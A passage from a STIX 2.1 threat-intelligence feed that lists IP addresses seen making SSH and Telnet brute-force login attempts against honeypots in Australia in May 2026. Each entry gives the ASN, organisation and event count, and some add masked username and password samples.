      "valid_until": "2026-06-16T20:15:03.000Z"
    },
    {
      "created": "2026-05-15T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--1cdd7cab-17ee-411a-b977-7e027304e5ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.227.193.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T20:15:05.000Z",
      "valid_until": "2026-06-16T20:15:03.000Z"
    },
    {
      "created": "2026-05-15T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--1b855959-3fa8-4374-a350-bd294837aa6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.174.136.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T20:15:05.000Z",
      "valid_until": "2026-06-16T20:15:03.000Z"
    },
    {
      "created": "2026-05-15T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--e1291034-103f-4220-8504-755d2bbb0d73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T20:15:05.000Z",
      "valid_until": "2026-06-16T20:15:03.000Z"
    },
    {
      "created": "2026-05-15T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LV. ASN(s): 41563. Organisation(s): OSTKOM SIA.",
      "id": "indicator--92b50a86-dec4-49cc-b37c-2182fb2c05e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.254.163.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T20:15:05.000Z",
      "valid_until": "2026-06-16T20:15:03.000Z"
    },
    {
      "created": "2026-05-15T21:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--088daec8-0b98-4d39-a4dc-977266f18427",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T21:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.34.254.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T21:15:35.000Z",
      "valid_until": "2026-06-16T21:15:08.000Z"
    },
    {
      "created": "2026-05-15T21:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6fe1a5e0-fd91-4d0f-93f8-f5c6df05ddcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T21:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.244.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T21:15:35.000Z",
      "valid_until": "2026-06-16T21:15:08.000Z"
    },
    {
      "created": "2026-05-15T21:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c9ee0060-b94c-477f-8a46-f646ac8f7d03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T21:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.192.10.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T21:15:35.000Z",
      "valid_until": "2026-06-16T21:15:08.000Z"
    },
    {
      "created": "2026-05-15T21:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--a1228296-9ee3-4745-bad0-4cd8acf80cf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T21:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.124.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T21:15:35.000Z",
      "valid_until": "2026-06-16T21:15:08.000Z"
    },
    {
      "created": "2026-05-15T21:15:35.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--8f6035c7-58b1-4ac5-a45a-54f909e5ef59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T21:15:35.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.97.228.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T21:15:35.000Z",
      "valid_until": "2026-06-16T21:15:08.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--73f879d5-ec6f-4a39-8fff-93788cb46f13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.100.237.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--d9faaba0-56a2-48cf-acb8-f2775ae274ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.75.199.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): A*******************p, G************1, U**********************************************************************************************0. Passwords observed (masked): A*******************8, C***************e, H**********************3.",
      "id": "indicator--3e07ab59-d681-43ba-91c5-5a098691eb08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.150.101.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 18049. Organisation(s): Taiwan Infrastructure Network Technologie.",
      "id": "indicator--d174fa88-f840-4a81-b5c9-1e56ea8886a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.105.1.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--da553492-e2e2-40ac-a481-9535cbb3b14b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.203.201.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd..",
      "id": "indicator--f27fa9b5-c61d-4146-acff-3e8c48606881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.95.153.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--531aae3f-24ba-4c7d-9c96-2ea8cc357b78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.62.239.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e684781f-fedc-465a-b19c-b6e580cb8b68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.253.113.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4b7798db-682f-4bbb-84ed-768ad8ccd5a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 314. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A.. Usernames observed (masked): r**t, 3**********4, p*****i, d*********r, l***x. Passwords observed (masked): w******t, 3***********4, 3**********4, l******3, 1*******!.",
      "id": "indicator--39069422-3f19-4923-8268-6fb9cfe7e019",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.193.159.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T22:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 386. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 36530. Organisation(s): IDC Cube. Usernames observed (masked): r**t, 3**********4, p*****i, s**********c, d*********r. Passwords observed (masked): 3***********4, 3**********4, w******t, l******3, 1*******!.",
      "id": "indicator--a66ac5ad-258d-47d7-9266-5e831a1d79b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T22:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.113.142.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T22:15:06.000Z",
      "valid_until": "2026-06-16T22:15:04.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3c99ed37-ded0-499b-a37a-d1d6e84cfb89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '137.59.230.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V.. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--2fb91889-3166-4cff-a151-11b376e59a9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.2.135.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 4618. Organisation(s): Internet Thailand Company Limited. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--66af6c91-0100-43fe-a5fb-c7884f3a1a8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.150.140.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6f22bcf2-5657-4a8c-97ed-f02a9cf6d5ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--51cd75b1-78af-4c6c-a184-9b710d250979",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.74.20.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 295. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, p*****i, d*********r, l***x. Passwords observed (masked): 3***********4, 3**********4, l******3, w******t, K********@.",
      "id": "indicator--22522eb6-d72d-4259-8252-7a380041d1bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.101.66.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t. Passwords observed (masked): t***********m, w**************m.",
      "id": "indicator--1c074e91-6780-4df8-908a-0be1b01e400e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.65.253.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5432. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A.. Usernames observed (masked): p******s. Passwords observed (masked): d**************0.",
      "id": "indicator--3a855a69-39db-4a3c-8a26-577d940ba143",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, z******u, 3**********4, l***x. Passwords observed (masked): l******3, 1****1, 3***********4, 3**********4, 5********4.",
      "id": "indicator--8d8729c6-4878-49e9-ab37-23a55f1b5035",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.5.20.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-15T23:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--19a69251-42a2-4b41-97e9-7e23d159ac53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.252.161.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T23:15:05.000Z",
      "valid_until": "2026-06-16T23:15:03.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--421594c0-8b3b-46c4-babe-ef2603b2eb5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.55.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c9db88c9-137c-42cd-b979-1c0c9e1f12ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.139.136.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 272030. Organisation(s): SMARTNET S.R.L..",
      "id": "indicator--3233beb4-f993-44ae-9375-6a582753e2e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.46.4.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--41340bbc-aeb6-4ded-9ae4-8355c3504c76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.136.117.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 60119. Organisation(s): Ediniy Operator Svyazi LLC.",
      "id": "indicator--e24b6db8-1086-4942-b0c5-f0e3bb074e04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.129.182.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T00:15:10.000Z",
      "valid_until": "2026-06-17T00:15:08.000Z"
    },
    {
      "created": "2026-05-16T00:15:10.000Z",
